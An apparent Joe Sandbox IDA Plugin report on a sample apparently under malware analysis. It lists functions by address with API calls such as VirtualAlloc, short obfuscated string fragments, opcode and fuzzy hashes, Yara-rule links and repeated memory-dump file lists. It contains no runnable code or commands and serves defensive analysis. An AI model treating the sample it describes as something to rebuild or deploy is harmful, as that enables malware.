Associated: 00000000.00000002.1422159236.0000000000CA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422525217.0000000000F3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422659659.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422679814.00000000010D3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_uZO96rXyWt.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 763b3fc820417115e889a24acc3a8cc31eefea287655b0dedb1dcc1aaf74fada
Instruction ID: bcef9785d8b5907ee9a64bd446b851dc80b87995a7abe928951dec15a91356a7
Opcode Fuzzy Hash: 763b3fc820417115e889a24acc3a8cc31eefea287655b0dedb1dcc1aaf74fada
Instruction Fuzzy Hash: F2F06DB1808315CBEB406F39D8883AEB7A4FF04325F154B2EE99192A80C6361D549A47

Function 00CA866B Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00CA8983

Memory Dump Source

Source File: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422159236.0000000000CA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422525217.0000000000F3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422659659.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422679814.00000000010D3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_uZO96rXyWt.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a3f4b619c656a8c556dabf26a5b33e1a5639bf6c5b36630ae99109ecf085af1a
Instruction ID: b878e1928ea896bce27385e3038505977207c1e3c56737a38a767bb7a627ff1e
Opcode Fuzzy Hash: a3f4b619c656a8c556dabf26a5b33e1a5639bf6c5b36630ae99109ecf085af1a
Instruction Fuzzy Hash: 77F08CB011C305EFE7006F12DC84BBEB7E4EF88B04F21882EA6C042644DA310C849B5B

Function 00C5E71A Relevance: 1.3, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

CoUninitialize.COMBASE ref: 00C5E721

Memory Dump Source

Source File: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422159236.0000000000CA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422525217.0000000000F3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422659659.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422679814.00000000010D3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_uZO96rXyWt.jbxd

Similarity

API ID: Uninitialize
String ID:
API String ID: 3861434553-0
Opcode ID: 69331b3edbe252cb20a19252a4f8b447565e9c60e23f783ec71eed626488fa4b
Instruction ID: 16ed8dfcd24be31bc026ea7131232f151d173aeb97eabfe899667db1db413ad9
Opcode Fuzzy Hash: 69331b3edbe252cb20a19252a4f8b447565e9c60e23f783ec71eed626488fa4b
Instruction Fuzzy Hash: C4C04C712552A796D2888724DE5672E6326970614C7112E159512D6250CB5169104549

Non-executed Functions

Function 00C741C0 Relevance: 24.8, Strings: 19, Instructions: 1025COMMON

Download Yara Rule

Strings

)Z*\, xrefs: 00C74828
8JL, xrefs: 00C74800
:JL, xrefs: 00C74BF5
#f!x, xrefs: 00C74BC3
pIrK, xrefs: 00C74560
$%, xrefs: 00C74257
%y, xrefs: 00C74D14
o#M%, xrefs: 00C748C6
7, xrefs: 00C74D00
<[5], xrefs: 00C74902
=_%A, xrefs: 00C7490C
VaUc, xrefs: 00C7459C
)Z/\, xrefs: 00C74C1D
5F6X, xrefs: 00C74C13
?z=|, xrefs: 00C747D8
>N@, xrefs: 00C7480A
A/6Q, xrefs: 00C748E4
6T, xrefs: 00C74D0A
-^+P, xrefs: 00C74832

Memory Dump Source

Source File: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422159236.0000000000CA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422525217.0000000000F3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422659659.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422679814.00000000010D3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_uZO96rXyWt.jbxd

Similarity

API ID:
String ID: #f!x$$%$%y$)Z*\$)Z/\$-^+P$5F6X$6T$7$8JL$:JL$<[5]$=_%A$>N@$?z=|$A/6Q$VaUc$o#M%$pIrK
API String ID: 0-2905094782
Opcode ID: 95f1b328fb92898f3f381775c829c39ccef14ae078a5e979042eefa6a23bcf11
Instruction ID: ead7a78107336765e10403b83daa565d2b9955f8298c29ebfa7aed31c21182de
Opcode Fuzzy Hash: 95f1b328fb92898f3f381775c829c39ccef14ae078a5e979042eefa6a23bcf11
Instruction Fuzzy Hash: 969297B5905229CBDB24CF99DC987DEBB71FB85300F2082E9D4696B350DB754A86CF80

Function 00C74380 Relevance: 23.4, Strings: 18, Instructions: 948COMMON

Download Yara Rule

Strings

)Z*\, xrefs: 00C74828
8JL, xrefs: 00C74800
:JL, xrefs: 00C74BF5
#f!x, xrefs: 00C74BC3
pIrK, xrefs: 00C74560
%y, xrefs: 00C74D14
o#M%, xrefs: 00C748C6
7, xrefs: 00C74D00
<[5], xrefs: 00C74902
=_%A, xrefs: 00C7490C
VaUc, xrefs: 00C7459C
)Z/\, xrefs: 00C74C1D
5F6X, xrefs: 00C74C13
?z=|, xrefs: 00C747D8
>N@, xrefs: 00C7480A
A/6Q, xrefs: 00C748E4
6T, xrefs: 00C74D0A
-^+P, xrefs: 00C74832

Memory Dump Source

Source File: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422159236.0000000000CA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422525217.0000000000F3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422659659.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422679814.00000000010D3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_uZO96rXyWt.jbxd

Similarity

API ID:
String ID: #f!x$%y$)Z*\$)Z/\$-^+P$5F6X$6T$7$8JL$:JL$<[5]$=_%A$>N@$?z=|$A/6Q$VaUc$o#M%$pIrK
API String ID: 0-3225404442
Opcode ID: 370798759a9eb67584b097b9514d9fdd92f5d9302f29e82c8392cb389b3b3056
Instruction ID: 9456f8547da7cbc7eab9eff25bef7c66b85378927e2315e1a513eda415f22bc3
Opcode Fuzzy Hash: 370798759a9eb67584b097b9514d9fdd92f5d9302f29e82c8392cb389b3b3056
Instruction Fuzzy Hash: 589296B5905229CBDB24CF59D8987DEBB71FB85300F2082EDD4696B360DB745A86CF80

Function 00E10489 Relevance: 14.2, Strings: 10, Instructions: 1671COMMON

Download Yara Rule

Strings

k\?, xrefs: 00E115A4
=o{, xrefs: 00E10A64
}({, xrefs: 00E112FB
5Ov[, xrefs: 00E108E1
&S, xrefs: 00E10DD4
{, xrefs: 00E104D2
5t7~, xrefs: 00E110E9
*v, xrefs: 00E10C40
${, xrefs: 00E10E5C
7&:W, xrefs: 00E10AB0

Memory Dump Source

Source File: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422159236.0000000000CA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422525217.0000000000F3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422659659.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422679814.00000000010D3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_uZO96rXyWt.jbxd

Similarity

API ID:
String ID: *v$5Ov[$5t7~$7&:W$=o{$k\?$}({$${$&S${
API String ID: 0-1103092567
Opcode ID: 8977ddc2fad10f037a4411a0aaf751fdb7fbea3ec5df896bdb37f4c0a4df008b
Instruction ID: 7137e1dcca38325c50b6f9246bb93eee3e9c775d7f0f95943b495f9226dd3ab1
Opcode Fuzzy Hash: 8977ddc2fad10f037a4411a0aaf751fdb7fbea3ec5df896bdb37f4c0a4df008b
Instruction Fuzzy Hash: 02B228F3A0C2049FE3046E2DEC8567AFBE9EF94720F1A453DEAC4C7744EA7558018696

Function 00C59580 Relevance: 7.9, Strings: 6, Instructions: 442COMMON

Download Yara Rule

Strings

Tiec, xrefs: 00C59963
r, xrefs: 00C595F4
\, xrefs: 00C5978A
#4<7, xrefs: 00C59772
PK, xrefs: 00C599E1
+8=>, xrefs: 00C59782

Memory Dump Source

Source File: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422159236.0000000000CA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422525217.0000000000F3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422659659.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422679814.00000000010D3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_uZO96rXyWt.jbxd

Similarity

API ID:
String ID: #4<7$+8=>$PK$Tiec$\$r
API String ID: 0-1906979145
Opcode ID: 553635b5c223c50687f454092ec4913d7124fb621baf6cb27488ae7eb073c97d
Instruction ID: 7e0bc62aa20e0c6490a4a41728e6639dde73569bac2dfef3e446203665978654
Opcode Fuzzy Hash: 553635b5c223c50687f454092ec4913d7124fb621baf6cb27488ae7eb073c97d
Instruction Fuzzy Hash: 65D14676A083408BC318CF35C89166FBBE2EFD5314F18996DE4EA9B251D734C909CB46

Function 00C72510 Relevance: 4.2, Strings: 3, Instructions: 454COMMON

Download Yara Rule

Strings

st, xrefs: 00C7253E
y./, xrefs: 00C72715
<pr, xrefs: 00C72536

Memory Dump Source

Source File: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422159236.0000000000CA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422525217.0000000000F3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422659659.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422679814.00000000010D3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_uZO96rXyWt.jbxd

Similarity

API ID:
String ID: <pr$st$y./
API String ID: 0-3839595785
Opcode ID: 1757315412a6bf8d54ecbb0e260ebdd791ff4bf74d87f5d71160b7760b3f0fe1
Instruction ID: 3c8af4f3467ea0804c7db4b7efa046bd4b4f86d543fbc2cd7f1362189ef407f2
Opcode Fuzzy Hash: 1757315412a6bf8d54ecbb0e260ebdd791ff4bf74d87f5d71160b7760b3f0fe1
Instruction Fuzzy Hash: 9BC15976A043108BD7289F29C85273BB3E1EFD5314F19C92DE9AA97382E634DD05C392

Function 00C6D380 Relevance: 4.2, Strings: 3, Instructions: 453COMMON

Download Yara Rule

Strings

|F, xrefs: 00C6D40A
34, xrefs: 00C6D46A
C], xrefs: 00C6D471

Memory Dump Source

Source File: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422159236.0000000000CA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422525217.0000000000F3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422659659.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422679814.00000000010D3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_uZO96rXyWt.jbxd

Similarity

API ID:
String ID: 34$C]$|F
API String ID: 0-2804560523
Opcode ID: ef2be8e9a11634e14f98cce9f63e9df95193e767b1d0810048cccc9b3693e455
Instruction ID: 3cf2ece49deb37fc51cfc835c889149951a357e4fb810d7a7193f0896fa73cf8
Opcode Fuzzy Hash: ef2be8e9a11634e14f98cce9f63e9df95193e767b1d0810048cccc9b3693e455
Instruction Fuzzy Hash: D4C1E1B5A183118BC720CF19C88166BB7F2FF95314F58895CE8E68B390EB74DA05C796

Function 00C7C3FC Relevance: 4.1, Strings: 3, Instructions: 311COMMON

Download Yara Rule

Strings

A, xrefs: 00C7C51C
yszp, xrefs: 00C7C689
Hnd, xrefs: 00C7C440

Memory Dump Source

Source File: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422159236.0000000000CA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422525217.0000000000F3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422659659.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422679814.00000000010D3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_uZO96rXyWt.jbxd

Similarity

API ID:
String ID: A$Hnd$yszp
API String ID: 0-2830101580
Opcode ID: fa125f6430c7c83021723710d5721bbf675638c1d5c4cdd46894d25bbce2af15
Instruction ID: 5630681e60cf158506e13b01f3c5b09fadd791c24929463d1bb2546a916fcaa5
Opcode Fuzzy Hash: fa125f6430c7c83021723710d5721bbf675638c1d5c4cdd46894d25bbce2af15
Instruction Fuzzy Hash: 45A1107190C3D18FD7358F3984A07ABBBE1AF92300F1889AED8DD9B382D6758505CB52

Function 00C6B2E0 Relevance: 4.0, Strings: 3, Instructions: 231COMMON

Download Yara Rule

Strings

_, xrefs: 00C6B428
/pqr, xrefs: 00C6B30E
+|-~, xrefs: 00C6B306

Memory Dump Source

Source File: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422159236.0000000000CA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422525217.0000000000F3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422659659.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422679814.00000000010D3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_uZO96rXyWt.jbxd

Similarity

API ID:
String ID: +|-~$/pqr$_
API String ID: 0-1379640984
Opcode ID: 6cad45a37f2ecb696612476d2231d778981dd0878ff0da1cf225912a4c5ce2be
Instruction ID: 036bee558a417dde30d3f47fe07762b209eeaf2ef15de5f0d6a7865fea580c0f
Opcode Fuzzy Hash: 6cad45a37f2ecb696612476d2231d778981dd0878ff0da1cf225912a4c5ce2be
Instruction Fuzzy Hash: 6E814B1561454106C72CDF3488A733BAAE79F84308B2DD1FEDA55CFBA7E938C2068749

Function 00C6759F Relevance: 3.2, Strings: 2, Instructions: 671COMMON

Download Yara Rule

Strings

i, xrefs: 00C67B2A
gfff, xrefs: 00C67747

Memory Dump Source

Source File: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422159236.0000000000CA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422525217.0000000000F3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422659659.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422679814.00000000010D3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_uZO96rXyWt.jbxd

Similarity

API ID:
String ID: gfff$i
API String ID: 0-634403771
Opcode ID: 63512e380261aa505f39d339f6c00c71f0661eee692b1fdf16025c55e85a02f2
Instruction ID: 7031aed4f4d574aa2611dcc15626db9c9335332784a7c7b2c90f7b18b0cbc3b1
Opcode Fuzzy Hash: 63512e380261aa505f39d339f6c00c71f0661eee692b1fdf16025c55e85a02f2
Instruction Fuzzy Hash: F8029972A183118FD324CF68D8847AFBBD2EBD1304F198A2ED4D5D72A6DB349905C782

Function 00CC2326 Relevance: 3.0, Strings: 2, Instructions: 528COMMON

Download Yara Rule

Strings

3w, xrefs: 00CC2A34
#&=k, xrefs: 00CC2A26

Memory Dump Source

Source File: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422159236.0000000000CA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422525217.0000000000F3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422659659.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422679814.00000000010D3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_uZO96rXyWt.jbxd

Similarity

API ID:
String ID: #&=k$3w
API String ID: 0-3517505427
Opcode ID: 7c8d9367a13104fc6a3863ce49cb72da9558901ab13f01595e4d77504f7ac57e
Instruction ID: c90af3af180d139de0f92f1c91010283e89a1d579ca180847b7b92eb0adca927
Opcode Fuzzy Hash: 7c8d9367a13104fc6a3863ce49cb72da9558901ab13f01595e4d77504f7ac57e
Instruction Fuzzy Hash: 7302C1F3F042204BF3549979DD88366B696EBD4324F2B82398F9CA77C5E97E5C064284

Function 00D84534 Relevance: 3.0, Strings: 2, Instructions: 454COMMON

Download Yara Rule

Strings

L_, xrefs: 00D8496B
dM_;, xrefs: 00D848ED

Memory Dump Source

Source File: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
